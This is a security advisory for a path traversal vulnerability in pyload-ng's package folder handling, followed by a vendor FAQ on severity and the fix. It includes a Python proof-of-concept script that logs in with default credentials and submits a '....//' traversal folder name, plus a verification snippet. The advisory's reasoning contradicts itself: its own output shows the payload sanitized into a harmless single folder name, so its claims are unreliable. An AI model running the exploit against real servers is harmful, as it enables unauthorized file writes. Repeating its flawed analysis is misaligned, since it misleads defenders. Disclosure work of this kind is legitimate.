CVE-2026-42314

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component

• src/pyload/core/api/__init__.py
• Function: add_package()

Description

Package folder names are sanitized using insufficient string replacement:

folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)

The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup

pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload

Exploit

#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")

Verification

Check where files would be written:

import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations

Authenticated users with ADD permission can:

• Write files outside the download directory
• Potentially overwrite system files (depending on permissions)
• Clutter system directories with downloaded content

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-42314 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.0b3.dev100); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42314? CVE-2026-42314 is a medium-severity path traversal vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3.dev79. It is fixed in 0.5.0b3.dev100. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-42314? CVE-2026-42314 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyload-ng are affected by CVE-2026-42314? pyload-ng (pip) versions <= 0.5.0b3.dev79 is affected.
4. Is there a fix for CVE-2026-42314? Yes. CVE-2026-42314 is fixed in 0.5.0b3.dev100. Upgrade to this version or later.
5. Is CVE-2026-42314 exploitable, and should I be worried? Whether CVE-2026-42314 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42314 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42314? Upgrade pyload-ng to 0.5.0b3.dev100 or later.